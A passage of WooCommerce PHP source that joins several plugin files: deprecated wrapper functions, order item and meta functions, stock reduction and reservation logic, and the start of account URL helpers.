* @deprecated 3.0 */ function woocommerce_get_order_item_meta( $item_id, $key, $single = true ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_item_meta' ); return wc_get_order_item_meta( $item_id, $key, $single ); } /** * @deprecated 3.0 */ function woocommerce_cancel_unpaid_orders() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cancel_unpaid_orders' ); wc_cancel_unpaid_orders(); } /** * @deprecated 3.0 */ function woocommerce_processing_order_count() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_processing_order_count' ); return wc_processing_order_count(); } /** * @deprecated 3.0 */ function woocommerce_get_page_id( $page ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_page_id' ); return wc_get_page_id( $page ); } /** * @deprecated 3.0 */ function woocommerce_get_endpoint_url( $endpoint, $value = '', $permalink = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_endpoint_url' ); return wc_get_endpoint_url( $endpoint, $value, $permalink ); } /** * @deprecated 3.0 */ function woocommerce_lostpassword_url( $url ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_lostpassword_url' ); return wc_lostpassword_url( $url ); } /** * @deprecated 3.0 */ function woocommerce_customer_edit_account_url() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_edit_account_url' ); return wc_customer_edit_account_url(); } /** * @deprecated 3.0 */ function woocommerce_nav_menu_items( $items, $args ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_items' ); return wc_nav_menu_items( $items ); } /** * @deprecated 3.0 */ function woocommerce_nav_menu_item_classes( $menu_items, $args ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_item_classes' ); return wc_nav_menu_item_classes( $menu_items ); } /** * @deprecated 3.0 */ function woocommerce_list_pages( $pages ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_list_pages' ); return wc_list_pages( $pages ); } /** * @deprecated 3.0 */ function woocommerce_product_dropdown_categories( $args = array(), $deprecated_hierarchical = 1, $deprecated_show_uncategorized = 1, $deprecated_orderby = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_dropdown_categories' ); return wc_product_dropdown_categories( $args, $deprecated_hierarchical, $deprecated_show_uncategorized, $deprecated_orderby ); } /** * @deprecated 3.0 */ function woocommerce_walk_category_dropdown_tree( $a1 = '', $a2 = '', $a3 = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_walk_category_dropdown_tree' ); return wc_walk_category_dropdown_tree( $a1, $a2, $a3 ); } /** * @deprecated 3.0 */ function woocommerce_taxonomy_metadata_wpdbfix() { wc_deprecated_function( __FUNCTION__, '3.0' ); } /** * @deprecated 3.0 */ function wc_taxonomy_metadata_wpdbfix() { wc_deprecated_function( __FUNCTION__, '3.0' ); } /** * @deprecated 3.0 */ function woocommerce_order_terms( $the_term, $next_id, $taxonomy, $index = 0, $terms = null ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_reorder_terms' ); return wc_reorder_terms( $the_term, $next_id, $taxonomy, $index, $terms ); } /** * @deprecated 3.0 */ function woocommerce_set_term_order( $term_id, $index, $taxonomy, $recursive = false ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_term_order' ); return wc_set_term_order( $term_id, $index, $taxonomy, $recursive ); } /** * @deprecated 3.0 */ function woocommerce_terms_clauses( $clauses, $taxonomies, $args ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_terms_clauses' ); return wc_terms_clauses( $clauses, $taxonomies, $args ); } /** * @deprecated 3.0 */ function _woocommerce_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids ) { wc_deprecated_function( __FUNCTION__, '3.0', '_wc_term_recount' ); return _wc_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids ); } /** * @deprecated 3.0 */ function woocommerce_recount_after_stock_change( $product_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_recount_after_stock_change' ); return wc_recount_after_stock_change( $product_id ); } /** * @deprecated 3.0 */ function woocommerce_change_term_counts( $terms, $taxonomies, $args ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_change_term_counts' ); return wc_change_term_counts( $terms, $taxonomies ); } /** * @deprecated 3.0 */ function woocommerce_get_product_ids_on_sale() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_ids_on_sale' ); return wc_get_product_ids_on_sale(); } /** * @deprecated 3.0 */ function woocommerce_get_featured_product_ids() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_featured_product_ids' ); return wc_get_featured_product_ids(); } /** * @deprecated 3.0 */ function woocommerce_get_product_terms( $object_id, $taxonomy, $fields = 'all' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_terms' ); return wc_get_product_terms( $object_id, $taxonomy, array( 'fields' => $fields ) ); } /** * @deprecated 3.0 */ function woocommerce_product_post_type_link( $permalink, $post ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_post_type_link' ); return wc_product_post_type_link( $permalink, $post ); } /** * @deprecated 3.0 */ function woocommerce_placeholder_img_src() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img_src' ); return wc_placeholder_img_src(); } /** * @deprecated 3.0 */ function woocommerce_placeholder_img( $size = 'woocommerce_thumbnail' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img' ); return wc_placeholder_img( $size ); } /** * @deprecated 3.0 */ function woocommerce_get_formatted_variation( $variation = '', $flat = false ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_formatted_variation' ); return wc_get_formatted_variation( $variation, $flat ); } /** * @deprecated 3.0 */ function woocommerce_scheduled_sales() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_scheduled_sales' ); return wc_scheduled_sales(); } /** * @deprecated 3.0 */ function woocommerce_get_attachment_image_attributes( $attr ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_attachment_image_attributes' ); return wc_get_attachment_image_attributes( $attr ); } /** * @deprecated 3.0 */ function woocommerce_prepare_attachment_for_js( $response ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_prepare_attachment_for_js' ); return wc_prepare_attachment_for_js( $response ); } /** * @deprecated 3.0 */ function woocommerce_track_product_view() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_track_product_view' ); return wc_track_product_view(); } /** * @deprecated 2.3 has no replacement */ function woocommerce_compile_less_styles() { wc_deprecated_function( 'woocommerce_compile_less_styles', '2.3' ); } /** * woocommerce_calc_shipping was an option used to determine if shipping was enabled prior to version 2.6.0. This has since been replaced with wc_shipping_enabled() function and * the woocommerce_ship_to_countries setting. * @deprecated 2.6.0 * @return string */ function woocommerce_calc_shipping_backwards_compatibility( $value ) { if ( Constants::is_defined( 'WC_UPDATING' ) ) { return $value; } return 'disabled' === get_option( 'woocommerce_ship_to_countries' ) ? 'no' : 'yes'; } add_filter( 'pre_option_woocommerce_calc_shipping', 'woocommerce_calc_shipping_backwards_compatibility' ); /** * @deprecated 3.0.0 * @see WC_Structured_Data class * * @return string */ function woocommerce_get_product_schema() { wc_deprecated_function( 'woocommerce_get_product_schema', '3.0' ); global $product; $schema = "Product"; // Downloadable product schema handling if ( $product->is_downloadable() ) { switch ( $product->download_type ) { case 'application' : $schema = "SoftwareApplication"; break; case 'music' : $schema = "MusicAlbum"; break; default : $schema = "Product"; break; } } return 'http://schema.org/' . $schema; } /** * Save product price. * * This is a private function (internal use ONLY) used until a data manipulation api is built. * * @deprecated 3.0.0 * @param int $product_id * @param float $regular_price * @param float $sale_price * @param string $date_from * @param string $date_to */ function _wc_save_product_price( $product_id, $regular_price, $sale_price = '', $date_from = '', $date_to = '' ) { wc_doing_it_wrong( '_wc_save_product_price()', 'This function is not for developer use and is deprecated.', '3.0' ); $product_id = absint( $product_id ); $regular_price = wc_format_decimal( $regular_price ); $sale_price = '' === $sale_price ? '' : wc_format_decimal( $sale_price ); $date_from = wc_clean( $date_from ); $date_to = wc_clean( $date_to ); update_post_meta( $product_id, '_regular_price', $regular_price ); update_post_meta( $product_id, '_sale_price', $sale_price ); // Save Dates update_post_meta( $product_id, '_sale_price_dates_from', $date_from ? strtotime( $date_from ) : '' ); update_post_meta( $product_id, '_sale_price_dates_to', $date_to ? strtotime( $date_to ) : '' ); if ( $date_to && ! $date_from ) { $date_from = strtotime( 'NOW', current_time( 'timestamp' ) ); update_post_meta( $product_id, '_sale_price_dates_from', $date_from ); } // Update price if on sale if ( '' !== $sale_price && '' === $date_to && '' === $date_from ) { update_post_meta( $product_id, '_price', $sale_price ); } else { update_post_meta( $product_id, '_price', $regular_price ); } if ( '' !== $sale_price && $date_from && strtotime( $date_from ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) { update_post_meta( $product_id, '_price', $sale_price ); } if ( $date_to && strtotime( $date_to ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) { update_post_meta( $product_id, '_price', $regular_price ); update_post_meta( $product_id, '_sale_price_dates_from', '' ); update_post_meta( $product_id, '_sale_price_dates_to', '' ); } } /** * Return customer avatar URL. * * @deprecated 3.1.0 * @since 2.6.0 * @param string $email the customer's email. * @return string the URL to the customer's avatar. */ function wc_get_customer_avatar_url( $email ) { // Deprecated in favor of WordPress get_avatar_url() function. wc_deprecated_function( 'wc_get_customer_avatar_url()', '3.1', 'get_avatar_url()' ); return get_avatar_url( $email ); } /** * WooCommerce Core Supported Themes. * * @deprecated 3.3.0 * @since 2.2 * @return string[] */ function wc_get_core_supported_themes() { wc_deprecated_function( 'wc_get_core_supported_themes()', '3.3' ); return array( 'twentyseventeen', 'twentysixteen', 'twentyfifteen', 'twentyfourteen', 'twentythirteen', 'twentyeleven', 'twentytwelve', 'twentyten' ); } /** * Get min/max price meta query args. * * @deprecated 3.6.0 * @since 3.0.0 * @param array $args Min price and max price arguments. * @return array */ function wc_get_min_max_price_meta_query( $args ) { wc_deprecated_function( 'wc_get_min_max_price_meta_query()', '3.6' ); $current_min_price = isset( $args['min_price'] ) ? floatval( $args['min_price'] ) : 0; $current_max_price = isset( $args['max_price'] ) ? floatval( $args['max_price'] ) : PHP_INT_MAX; return apply_filters( 'woocommerce_get_min_max_price_meta_query', array( 'key' => '_price', 'value' => array( $current_min_price, $current_max_price ), 'compare' => 'BETWEEN', 'type' => 'DECIMAL(10,' . wc_get_price_decimals() . ')', ), $args ); } /** * When a term is split, ensure meta data maintained. * * @deprecated 3.6.0 * @param int $old_term_id Old term ID. * @param int $new_term_id New term ID. * @param string $term_taxonomy_id Term taxonomy ID. * @param string $taxonomy Taxonomy. */ function wc_taxonomy_metadata_update_content_for_split_terms( $old_term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { wc_deprecated_function( 'wc_taxonomy_metadata_update_content_for_split_terms', '3.6' ); } /** * WooCommerce Term Meta API. * * WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table. * This function serves as a wrapper, using the new table if present, or falling back to the WC table. * * @deprecated 3.6.0 * @param int $term_id Term ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value. * @param string $prev_value Previous value. (default: ''). * @return bool */ function update_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) { wc_deprecated_function( 'update_woocommerce_term_meta', '3.6', 'update_term_meta' ); return function_exists( 'update_term_meta' ) ? update_term_meta( $term_id, $meta_key, $meta_value, $prev_value ) : update_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $prev_value ); } /** * WooCommerce Term Meta API. * * WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table. * This function serves as a wrapper, using the new table if present, or falling back to the WC table. * * @deprecated 3.6.0 * @param int $term_id Term ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value. * @param bool $unique Make meta key unique. (default: false). * @return bool */ function add_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) { wc_deprecated_function( 'add_woocommerce_term_meta', '3.6', 'add_term_meta' ); return function_exists( 'add_term_meta' ) ? add_term_meta( $term_id, $meta_key, $meta_value, $unique ) : add_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $unique ); } /** * WooCommerce Term Meta API * * WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table. * This function serves as a wrapper, using the new table if present, or falling back to the WC table. * * @deprecated 3.6.0 * @param int $term_id Term ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value (default: ''). * @param bool $deprecated Deprecated param (default: false). * @return bool */ function delete_woocommerce_term_meta( $term_id, $meta_key, $meta_value = '', $deprecated = false ) { wc_deprecated_function( 'delete_woocommerce_term_meta', '3.6', 'delete_term_meta' ); return function_exists( 'delete_term_meta' ) ? delete_term_meta( $term_id, $meta_key, $meta_value ) : delete_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value ); } /** * WooCommerce Term Meta API * * WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table. * This function serves as a wrapper, using the new table if present, or falling back to the WC table. * * @deprecated 3.6.0 * @param int $term_id Term ID. * @param string $key Meta key. * @param bool $single Whether to return a single value. (default: true). * @return mixed */ function get_woocommerce_term_meta( $term_id, $key, $single = true ) { wc_deprecated_function( 'get_woocommerce_term_meta', '3.6', 'get_term_meta' ); return function_exists( 'get_term_meta' ) ? get_term_meta( $term_id, $key, $single ) : get_metadata( 'woocommerce_term', $term_id, $key, $single ); }/** * WooCommerce Order Item Functions * * Functions for order specific things. * * @package WooCommerce\Functions * @version 3.4.0 */ defined( 'ABSPATH' ) || exit; /** * Add a item to an order (for example a line item). * * @param int $order_id Order ID. * @param array $item_array Items list. * * @throws Exception When `WC_Data_Store::load` validation fails. * @return int|bool Item ID or false */ function wc_add_order_item( $order_id, $item_array ) { $order_id = absint( $order_id ); if ( ! $order_id ) { return false; } $defaults = array( 'order_item_name' => '', 'order_item_type' => 'line_item', ); $item_array = wp_parse_args( $item_array, $defaults ); $data_store = WC_Data_Store::load( 'order-item' ); $item_id = $data_store->add_order_item( $order_id, $item_array ); $item = WC_Order_Factory::get_order_item( $item_id ); do_action( 'woocommerce_new_order_item', $item_id, $item, $order_id ); return $item_id; } /** * Update an item for an order. * * @since 2.2 * @param int $item_id Item ID. * @param array $args Either `order_item_type` or `order_item_name`. * * @throws Exception When `WC_Data_Store::load` validation fails. * @return bool True if successfully updated, false otherwise. */ function wc_update_order_item( $item_id, $args ) { $data_store = WC_Data_Store::load( 'order-item' ); $update = $data_store->update_order_item( $item_id, $args ); if ( false === $update ) { return false; } do_action( 'woocommerce_update_order_item', $item_id, $args ); return true; } /** * Delete an item from the order it belongs to based on item id. * * @param int $item_id Item ID. * * @throws Exception When `WC_Data_Store::load` validation fails. * @return bool */ function wc_delete_order_item( $item_id ) { $item_id = absint( $item_id ); if ( ! $item_id ) { return false; } $data_store = WC_Data_Store::load( 'order-item' ); do_action( 'woocommerce_before_delete_order_item', $item_id ); $data_store->delete_order_item( $item_id ); do_action( 'woocommerce_delete_order_item', $item_id ); return true; } /** * WooCommerce Order Item Meta API - Update term meta. * * @param int $item_id Item ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value. * @param string $prev_value Previous value (default: ''). * * @throws Exception When `WC_Data_Store::load` validation fails. * @return bool */ function wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) { $data_store = WC_Data_Store::load( 'order-item' ); if ( $data_store->update_metadata( $item_id, $meta_key, $meta_value, $prev_value ) ) { WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache. return true; } return false; } /** * WooCommerce Order Item Meta API - Add term meta. * * @param int $item_id Item ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value. * @param bool $unique If meta data should be unique (default: false). * * @throws Exception When `WC_Data_Store::load` validation fails. * @return int New row ID or 0. */ function wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) { $data_store = WC_Data_Store::load( 'order-item' ); $meta_id = $data_store->add_metadata( $item_id, $meta_key, $meta_value, $unique ); if ( $meta_id ) { WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache. return $meta_id; } return 0; } /** * WooCommerce Order Item Meta API - Delete term meta. * * @param int $item_id Item ID. * @param string $meta_key Meta key. * @param mixed $meta_value Meta value (default: ''). * @param bool $delete_all Delete all meta data, defaults to `false`. * * @throws Exception When `WC_Data_Store::load` validation fails. * @return bool */ function wc_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) { $data_store = WC_Data_Store::load( 'order-item' ); if ( $data_store->delete_metadata( $item_id, $meta_key, $meta_value, $delete_all ) ) { WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache. return true; } return false; } /** * WooCommerce Order Item Meta API - Get term meta. * * @param int $item_id Item ID. * @param string $key Meta key. * @param bool $single Whether to return a single value. (default: true). * * @throws Exception When `WC_Data_Store::load` validation fails. * @return mixed */ function wc_get_order_item_meta( $item_id, $key, $single = true ) { $data_store = WC_Data_Store::load( 'order-item' ); return $data_store->get_metadata( $item_id, $key, $single ); } /** * Get order ID by order item ID. * * @param int $item_id Item ID. * * @throws Exception When `WC_Data_Store::load` validation fails. * @return int */ function wc_get_order_id_by_order_item_id( $item_id ) { $data_store = WC_Data_Store::load( 'order-item' ); return $data_store->get_order_id_by_order_item_id( $item_id ); }/** * WooCommerce Stock Functions * * Functions used to manage product stock levels. * * @package WooCommerce\Functions * @version 3.4.0 */ defined( 'ABSPATH' ) || exit; /** * Update a product's stock amount. * * Uses queries rather than update_post_meta so we can do this in one query (to avoid stock issues). * * @since 3.0.0 this supports set, increase and decrease. * * @param int|WC_Product $product Product ID or product instance. * @param int|null $stock_quantity Stock quantity. * @param string $operation Type of operation, allows 'set', 'increase' and 'decrease'. * @param bool $updating If true, the product object won't be saved here as it will be updated later. * @return bool|int|null */ function wc_update_product_stock( $product, $stock_quantity = null, $operation = 'set', $updating = false ) { if ( ! is_a( $product, 'WC_Product' ) ) { $product = wc_get_product( $product ); } if ( ! $product ) { return false; } if ( ! is_null( $stock_quantity ) && $product->managing_stock() ) { // Some products (variations) can have their stock managed by their parent. Get the correct object to be updated here. $product_id_with_stock = $product->get_stock_managed_by_id(); $product_with_stock = $product_id_with_stock !== $product->get_id() ? wc_get_product( $product_id_with_stock ) : $product; $data_store = WC_Data_Store::load( 'product' ); // Fire actions to let 3rd parties know the stock is about to be changed. if ( $product_with_stock->is_type( 'variation' ) ) { do_action( 'woocommerce_variation_before_set_stock', $product_with_stock ); } else { do_action( 'woocommerce_product_before_set_stock', $product_with_stock ); } // Update the database. $new_stock = $data_store->update_product_stock( $product_id_with_stock, $stock_quantity, $operation ); // Update the product object. $data_store->read_stock_quantity( $product_with_stock, $new_stock ); // If this is not being called during an update routine, save the product so stock status etc is in sync, and caches are cleared. if ( ! $updating ) { $product_with_stock->save(); } // Fire actions to let 3rd parties know the stock changed. if ( $product_with_stock->is_type( 'variation' ) ) { do_action( 'woocommerce_variation_set_stock', $product_with_stock ); } else { do_action( 'woocommerce_product_set_stock', $product_with_stock ); } return $product_with_stock->get_stock_quantity(); } return $product->get_stock_quantity(); } /** * Update a product's stock status. * * @param int $product_id Product ID. * @param string $status Status. */ function wc_update_product_stock_status( $product_id, $status ) { $product = wc_get_product( $product_id ); if ( $product ) { $product->set_stock_status( $status ); $product->save(); } } /** * When a payment is complete, we can reduce stock levels for items within an order. * * @since 3.0.0 * @param int $order_id Order ID. */ function wc_maybe_reduce_stock_levels( $order_id ) { $order = wc_get_order( $order_id ); if ( ! $order ) { return; } $stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id ); $trigger_reduce = apply_filters( 'woocommerce_payment_complete_reduce_order_stock', ! $stock_reduced, $order_id ); // Only continue if we're reducing stock. if ( ! $trigger_reduce ) { return; } wc_reduce_stock_levels( $order ); // Ensure stock is marked as "reduced" in case payment complete or other stock actions are called. $order->get_data_store()->set_stock_reduced( $order_id, true ); } add_action( 'woocommerce_payment_complete', 'wc_maybe_reduce_stock_levels' ); add_action( 'woocommerce_order_status_completed', 'wc_maybe_reduce_stock_levels' ); add_action( 'woocommerce_order_status_processing', 'wc_maybe_reduce_stock_levels' ); add_action( 'woocommerce_order_status_on-hold', 'wc_maybe_reduce_stock_levels' ); /** * When a payment is cancelled, restore stock. * * @since 3.0.0 * @param int $order_id Order ID. */ function wc_maybe_increase_stock_levels( $order_id ) { $order = wc_get_order( $order_id ); if ( ! $order ) { return; } $stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id ); $trigger_increase = (bool) $stock_reduced; // Only continue if we're increasing stock. if ( ! $trigger_increase ) { return; } wc_increase_stock_levels( $order ); // Ensure stock is not marked as "reduced" anymore. $order->get_data_store()->set_stock_reduced( $order_id, false ); } add_action( 'woocommerce_order_status_cancelled', 'wc_maybe_increase_stock_levels' ); add_action( 'woocommerce_order_status_pending', 'wc_maybe_increase_stock_levels' ); /** * Reduce stock levels for items within an order, if stock has not already been reduced for the items. * * @since 3.0.0 * @param int|WC_Order $order_id Order ID or order instance. */ function wc_reduce_stock_levels( $order_id ) { if ( is_a( $order_id, 'WC_Order' ) ) { $order = $order_id; $order_id = $order->get_id(); } else { $order = wc_get_order( $order_id ); } // We need an order, and a store with stock management to continue. if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_reduce_order_stock', true, $order ) ) { return; } $changes = array(); // Loop over all items. foreach ( $order->get_items() as $item ) { if ( ! $item->is_type( 'line_item' ) ) { continue; } // Only reduce stock once for each item. $product = $item->get_product(); $item_stock_reduced = $item->get_meta( '_reduced_stock', true ); if ( $item_stock_reduced || ! $product || ! $product->managing_stock() ) { continue; } /** * Filter order item quantity. * * @param int|float $quantity Quantity. * @param WC_Order $order Order data. * @param WC_Order_Item_Product $item Order item data. */ $qty = apply_filters( 'woocommerce_order_item_quantity', $item->get_quantity(), $order, $item ); $item_name = $product->get_formatted_name(); $new_stock = wc_update_product_stock( $product, $qty, 'decrease' ); if ( is_wp_error( $new_stock ) ) { /* translators: %s item name. */ $order->add_order_note( sprintf( __( 'Unable to reduce stock for item %s.', 'woocommerce' ), $item_name ) ); continue; } $item->add_meta_data( '_reduced_stock', $qty, true ); $item->save(); $changes[] = array( 'product' => $product, 'from' => $new_stock + $qty, 'to' => $new_stock, ); } wc_trigger_stock_change_notifications( $order, $changes ); do_action( 'woocommerce_reduce_order_stock', $order ); } /** * After stock change events, triggers emails and adds order notes. * * @since 3.5.0 * @param WC_Order $order order object. * @param array $changes Array of changes. */ function wc_trigger_stock_change_notifications( $order, $changes ) { if ( empty( $changes ) ) { return; } $order_notes = array(); $no_stock_amount = absint( get_option( 'woocommerce_notify_no_stock_amount', 0 ) ); foreach ( $changes as $change ) { $order_notes[] = $change['product']->get_formatted_name() . ' ' . $change['from'] . '→' . $change['to']; $low_stock_amount = absint( wc_get_low_stock_amount( wc_get_product( $change['product']->get_id() ) ) ); if ( $change['to'] <= $no_stock_amount ) { do_action( 'woocommerce_no_stock', wc_get_product( $change['product']->get_id() ) ); } elseif ( $change['to'] <= $low_stock_amount ) { do_action( 'woocommerce_low_stock', wc_get_product( $change['product']->get_id() ) ); } if ( $change['to'] < 0 ) { do_action( 'woocommerce_product_on_backorder', array( 'product' => wc_get_product( $change['product']->get_id() ), 'order_id' => $order->get_id(), 'quantity' => abs( $change['from'] - $change['to'] ), ) ); } } $order->add_order_note( __( 'Stock levels reduced:', 'woocommerce' ) . ' ' . implode( ', ', $order_notes ) ); } /** * Increase stock levels for items within an order. * * @since 3.0.0 * @param int|WC_Order $order_id Order ID or order instance. */ function wc_increase_stock_levels( $order_id ) { if ( is_a( $order_id, 'WC_Order' ) ) { $order = $order_id; $order_id = $order->get_id(); } else { $order = wc_get_order( $order_id ); } // We need an order, and a store with stock management to continue. if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_restore_order_stock', true, $order ) ) { return; } $changes = array(); // Loop over all items. foreach ( $order->get_items() as $item ) { if ( ! $item->is_type( 'line_item' ) ) { continue; } // Only increase stock once for each item. $product = $item->get_product(); $item_stock_reduced = $item->get_meta( '_reduced_stock', true ); if ( ! $item_stock_reduced || ! $product || ! $product->managing_stock() ) { continue; } $item_name = $product->get_formatted_name(); $new_stock = wc_update_product_stock( $product, $item_stock_reduced, 'increase' ); if ( is_wp_error( $new_stock ) ) { /* translators: %s item name. */ $order->add_order_note( sprintf( __( 'Unable to restore stock for item %s.', 'woocommerce' ), $item_name ) ); continue; } $item->delete_meta_data( '_reduced_stock' ); $item->save(); $changes[] = $item_name . ' ' . ( $new_stock - $item_stock_reduced ) . '→' . $new_stock; } if ( $changes ) { $order->add_order_note( __( 'Stock levels increased:', 'woocommerce' ) . ' ' . implode( ', ', $changes ) ); } do_action( 'woocommerce_restore_order_stock', $order ); } /** * See how much stock is being held in pending orders. * * @since 3.5.0 * @param WC_Product $product Product to check. * @param integer $exclude_order_id Order ID to exclude. * @return int */ function wc_get_held_stock_quantity( WC_Product $product, $exclude_order_id = 0 ) { /** * Filter: woocommerce_hold_stock_for_checkout * Allows enable/disable hold stock functionality on checkout. * * @since 4.3.0 * @param bool $enabled Default to true if managing stock globally. */ if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) { return 0; } return ( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->get_reserved_stock( $product, $exclude_order_id ); } /** * Hold stock for an order. * * @throws ReserveStockException If reserve stock fails. * * @since 4.1.0 * @param \WC_Order|int $order Order ID or instance. */ function wc_reserve_stock_for_order( $order ) { /** * Filter: woocommerce_hold_stock_for_checkout * Allows enable/disable hold stock functionality on checkout. * * @since @since 4.1.0 * @param bool $enabled Default to true if managing stock globally. */ if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) { return; } $order = $order instanceof WC_Order ? $order : wc_get_order( $order ); if ( $order ) { ( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->reserve_stock_for_order( $order ); } } add_action( 'woocommerce_checkout_order_created', 'wc_reserve_stock_for_order' ); /** * Release held stock for an order. * * @since 4.3.0 * @param \WC_Order|int $order Order ID or instance. */ function wc_release_stock_for_order( $order ) { /** * Filter: woocommerce_hold_stock_for_checkout * Allows enable/disable hold stock functionality on checkout. * * @since 4.3.0 * @param bool $enabled Default to true if managing stock globally. */ if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) { return; } $order = $order instanceof WC_Order ? $order : wc_get_order( $order ); if ( $order ) { ( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->release_stock_for_order( $order ); } } add_action( 'woocommerce_checkout_order_exception', 'wc_release_stock_for_order' ); add_action( 'woocommerce_payment_complete', 'wc_release_stock_for_order', 11 ); add_action( 'woocommerce_order_status_cancelled', 'wc_release_stock_for_order', 11 ); add_action( 'woocommerce_order_status_completed', 'wc_release_stock_for_order', 11 ); add_action( 'woocommerce_order_status_processing', 'wc_release_stock_for_order', 11 ); add_action( 'woocommerce_order_status_on-hold', 'wc_release_stock_for_order', 11 ); /** * Return low stock amount to determine if notification needs to be sent * * Since 5.2.0, this function no longer redirects from variation to its parent product. * Low stock amount can now be attached to the variation itself and if it isn't, only * then we check the parent product, and if it's not there, then we take the default * from the store-wide setting. * * @param WC_Product $product Product to get data from. * @since 3.5.0 * @return int */ function wc_get_low_stock_amount( WC_Product $product ) { $low_stock_amount = $product->get_low_stock_amount(); if ( '' === $low_stock_amount && $product->is_type( 'variation' ) ) { $product = wc_get_product( $product->get_parent_id() ); $low_stock_amount = $product->get_low_stock_amount(); } if ( '' === $low_stock_amount ) { $low_stock_amount = get_option( 'woocommerce_notify_low_stock_amount', 2 ); } return (int) $low_stock_amount; }/** * WooCommerce Account Functions * * Functions for account specific things. * * @package WooCommerce\Functions * @version 2.6.0 */ defined( 'ABSPATH' ) || exit; /** * Returns the url to the lost password endpoint url. * * @param string $default_url Default lost password URL. * @return string */ function wc_lostpassword_url( $default_url = '' ) { // Avoid loading too early. if ( ! did_action( 'init' ) ) { return $default_url; } // Don't redirect to the woocommerce endpoint on global network admin lost passwords. if ( is_multisite() && isset( $_GET['redirect_to'] ) && false !== strpos( wp_unslash( $_GET['redirect_to'] ), network_admin_url() ) ) { // WPCS: input var ok, sanitization ok, CSRF ok. return $default_url; } $wc_account_page_url = wc_get_page_permalink( 'myaccount' ); $wc_account_page_exists = wc_get_page_id( 'myaccount' ) > 0; $lost_password_endpoint = get_option( 'woocommerce_myaccount_lost_password_endpoint' ); if ( $wc_account_page_exists && ! empty( $lost_password_endpoint ) ) { return wc_get_endpoint_url( $lost_password_endpoint, '', $wc_account_page_url ); } else { return $default_url; } } add_filter( 'lostpassword_url', 'wc_lostpassword_url', 10, 1 ); /** * Get the link to the edit account details page. * * @return string */ function wc_customer_edit_account_url() { $edit_account_url = wc_get_endpoint_url( 'edit-account', '', wc_get_page_permalink( 'myaccount' ) ); return apply_filters( 'woocommerce_customer_edit_account_url', $edit_account_url ); } /** * Get the edit address slug translation. * * @param string $id Address ID. * @param bool $flip Flip the array to make it possible to retrieve the values ​​from both sides. * * @return string Address slug i18n. */ function wc_edit_address_i18n( $id, $flip = false ) { $slugs = apply_filters( 'woocommerce_edit_address_slugs', array( 'billing' => sanitize_title( _x( 'billing', 'edit-address-slug', 'woocommerce' ) ), 'shipping' => sanitize_title( _x( 'shipping', 'edit-address-slug', 'woocommerce' ) ), ) ); if ( $flip ) { $slugs = array_flip( 